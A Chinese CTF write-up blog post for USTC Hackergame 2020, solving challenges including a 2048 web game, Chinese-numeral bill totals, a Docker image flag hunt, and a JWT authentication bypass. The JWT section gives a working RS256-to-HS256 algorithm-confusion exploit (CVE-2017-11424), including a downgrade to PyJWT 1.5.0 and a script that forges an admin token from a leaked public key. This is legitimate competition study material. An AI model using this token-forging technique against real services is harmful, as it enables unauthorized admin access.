wtcl!打了这麽久ctf感觉还是个萌新!

官方writeup:https://github.com/USTC-Hackergame/hackergame2020-writeups

2048

/static/js/html_actuator.js看到

image-20201102191846244

在控制台敲下

image-20201102191931760

访问getflxg?my_favorite_fruit=banana得到flag

一闪而过的 Flag

直接cmd运行就能得到flag

从零开始的记账工具人

把xlsx的两列复制出来粘贴到num.txt

找到这篇博客脚本:https://blog.csdn.net/gaoxing412836542/article/details/106302441/ 不乘上100会有精度问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
package com.rock;


import java.io.*;
import java.math.BigDecimal;

public class exp {
/**
* 中文简体
*/
public static final String[] RMB_NUMBERS = new String[]{"一", "二", "三", "四", "五", "六", "七", "八", "九", "零"};
/**
* 中文繁体
*/
public static final String[] BIG_RMB_NUMBERS = new String[]{"壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖", "零"};
/**
* 与汉字相应的转化的数字
*/
public static final Long[] TO_ARABIC_NUMBERS = new Long[]{1L, 2L, 3L, 4L, 5L, 6L, 7L, 8L, 9L, 0L};
/**
* 人民币单位关键词 简写(大写数字倍数,一定要由大到小)
*/
public static final String[] RMB_UNIT = new String[]{"亿", "万", "千", "百", "十", "元", "角", "分", "厘"};
/**
* 繁体
*/
public static final String[] BIG_RMB_UNIT = new String[]{"億", "萬", "仟", "佰", "拾", "圆", "角", "分", "厘"};
/**
* 与人民币单位关键词对应的基数
*/
public static final BigDecimal[] TO_CARDINAL_NUMBERS = new BigDecimal[]{
new BigDecimal(100000000L), new BigDecimal(10000L), new BigDecimal(1000L),
new BigDecimal(100L), BigDecimal.TEN, BigDecimal.ONE, new BigDecimal("0.1"),
new BigDecimal("0.01"), new BigDecimal("0.001")
};

/**
* 大写转化为小写的过程操作
*/
public static BigDecimal ChineseToNumber(String money) {
BigDecimal number = getDigitalNum(money);
//return Double.parseDouble(number.toString());
//return number.toString();
return new BigDecimal(number.toString());
}

/**
* 辅助类,处理中文数字转换成阿拉伯数字,利用递归算法
*
* @return
*/
public static BigDecimal getDigitalNum(String money) {
BigDecimal result = BigDecimal.ZERO;
if ((money == null || money.trim().length() <= 0)) {
return result;
}
//匹配大写金额的单位
for (int i = 0; i < RMB_UNIT.length; i++) {
//查找字符中的简繁单位
int index = money.lastIndexOf(RMB_UNIT[i]) == -1 ? money.lastIndexOf(BIG_RMB_UNIT[i])
: money.lastIndexOf(RMB_UNIT[i]);
if (index >= 0) {
String pre_money = money.substring(0, index);//截取当前单位前面的中文字符串
money = money.substring(index + 1);//截取当前单位后面的字符串,进行下一次迭代比较
if ((pre_money == null || pre_money.length() <= 0) && TO_CARDINAL_NUMBERS[i].intValue() == 10) {
//处理拾开头的特殊字符例如拾、十
result = result.add(TO_CARDINAL_NUMBERS[i]);
} else {
//对当前单位截取的前面的字符递归处理
result = result.add(getDigitalNum(pre_money).multiply(TO_CARDINAL_NUMBERS[i]));
}
}
}
//如果不带单位直接阿拉伯数字匹配替换
if (money != null && money.length() > 0) {
result = result.add(getArabicNumByBig(money));
}
return result;
}

/**
* 辅助类中文数字转为对应阿拉伯数字
*
* @return
*/
public static BigDecimal getArabicNumByBig(String big) {
BigDecimal result = BigDecimal.ZERO;
for (int j = 0; j < RMB_NUMBERS.length; j++) {
big = big.replaceAll(RMB_NUMBERS[j], TO_ARABIC_NUMBERS[j].toString());//中文小写替换
big = big.replaceAll(BIG_RMB_NUMBERS[j], TO_ARABIC_NUMBERS[j].toString());//中文大写替换
}
try {
result = new BigDecimal(big);
} catch (Exception e) {
result = BigDecimal.ZERO;
}
return result;
}
public static void main (String[] args) throws IOException {
File file = new File("D:\\code\\Java\\exploit\\src\\main\\java\\com\\rock\\num.txt");
InputStreamReader inputReader = new InputStreamReader(new FileInputStream(file));
BufferedReader bf = new BufferedReader(inputReader);
// 按行读取字符串
String str;
int m=0;
while ((str = bf.readLine()) != null) {
String [] arr = str.split("\\s+");
Double moneny = ChineseToNumber(arr[0]).doubleValue();
int n = ChineseToNumber(arr[1]).intValue();
m= (int) (m + n*moneny*100);
}
System.out.println(m);

}
}

我写的稍微有点问题 看下官方wp吧

首先使用 Excel(或者其他商业的、开源的、在线的电子表格工具)将下载的文件转换为 .csv 格式,即逗号分隔的文本

在 Python 中安装 cn2an 这个中文数字转换的库:

1
python3 -m pip install cn2an

然后使用 Python 程序处理这个文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import cn2an
lines = open('bills.csv').readlines()[1:]
s = 0
for line in lines:
a, b = line.strip().split(',')
n = 0
if '元' in a:
y, a = a.split('元')
n += cn2an.cn2an(y, "smart")
if '角' in a:
y, a = a.split('角')
n += cn2an.cn2an(y, "smart") / 10
if '分' in a:
y, a = a.split('分')
n += cn2an.cn2an(y, "smart") / 100
s += n * int(b)
print(s)

最后输出的结果可能有一些浮点误差,自己四舍五入一下就好了。(更好的办法是使用整数来计算)

还有一种方法:

使用任意文本编辑器(或者 Excel 本身)做字符串替换,替换规则如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
'零' -> ''
'壹' -> '1'
'贰' -> '2'
'叁' -> '3'
'肆' -> '4'
'伍' -> '5'
'陆' -> '6'
'柒' -> '7'
'捌' -> '8'
'玖' -> '9'
'拾' -> '*10+'
'佰' -> '*100+'
'仟' -> '*1000+'
'元' -> '+'
'角' -> '/10+'
'分' -> '/100'
'++' -> '+'
'整' -> ''

然后如果开头有乘号或者结尾有加号,去掉即可,这样的数学表达式求值即可得到正确的结果。太骚了2333

exp:

1
2
3
4
5
6
7
8
9
sum=0
for i in open('1.txt').readlines():
c=i.strip()
if c[0]=='*':
c=c[1:-1]
elif c[-1]=='+':
c=c[:-1]
sum+=eval(c)
print(sum)

233 同学的 Docker

首先pull过来 镜像名字其实就有提示

1
docker pull 8b8d3c8324c7/stringtool

打包到本地

1
docker save 8b8d3c8324c7/stringtool > flag.tar

查找flag

1
strings flag.tar | grep "flag{"

普通的身份认证器

jwt 放到jwt.io提示签名算法是RS256

image-20201129114732077

源码中有

image-20201129114849242

后端框架使用的是 FastAPI,一个快速的 Python Web API 框架,文档地址:

https://fastapi.tiangolo.com/

FastAPI 会给网站自动生成 API 文档,路径在 /docs。点开来查看之后,就能看到一个隐藏的 route /debug,访问一下,就能看到它把公钥吐出来了

image-20201129115033205

考察的是CVE-2017-11424

在非对称密码中,公钥确实是可以公开的。但是这就牵扯到了 JWT 格式的问题:它的签名算法除了支持 RSA 签名以外,还支持对称的 HMAC 签名(例如 HS256),并且修改 JWT 中的签名算法只需要修改 header 的 alg 字段,并且通过某些方法,仍然让程序认为整个 JWT 是完好而未被篡改的即可。

在使用 RS256 时,程序的流程是:

  • 使用私钥为 JWT 签名。
  • 使用公钥验证接收到的 JWT 的完整性。

而在使用 HS256 时,程序的流程是:

  • 使用密钥为 JWT 签名。
  • 同样,使用这个密钥验证 JWT 的完整性。显然,这个密钥不能被泄露出来。

那么如果我们知道公钥,那么我们就能这么做:

  • 接收到一个合法的,使用 RS256 签名算法的 JWT。
  • 修改 JWT 的 payload 我们想要的样子,同时修改 header 的算法为 HS256
  • 使用已知的公钥,以 HS256 算法重新签名我们修改后的公钥。
  • 发给服务器。此时,服务器使用公钥 + HS256 算法检查 JWT,发现没有问题,就会认为这是一个合法的 JWT。

目前的 JWT 库基本上都修复了这个问题。

PyJWT(以及其他很多 JWT 库)修复这个安全漏洞的方式是:当使用 HS256 encode/decode 的时候,检查密钥的开头是否是非对称加密的公钥,如果是,就报错。可以直接魔改 jwt/algorithms.py 把这一部分的校验去掉,也可以降级到有问题的版本(1.5.0)然后再跑 exp。

安装PyJWT

1
pip3 install PyJWT==1.5.0

exp:

1
2
3
4
5
6
7
8
9
10
11
12
import jwt

PUBLIC_KEY = "-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF\neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf\nft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr\n+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY\nM688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd\n46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s\neDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL\n3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns\nQcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb\npBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv\nFCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"

payload = {
"sub": "admin",
"exp": 9602085613, # fill in any number you like
}

encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256')
print(encoded)
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6OTYwMjA4NTYxM30.2oxpg6KALSg37msshI8Oddi1TgspKdxoPzOJ0Zyt77I

image-20201129120700378

评论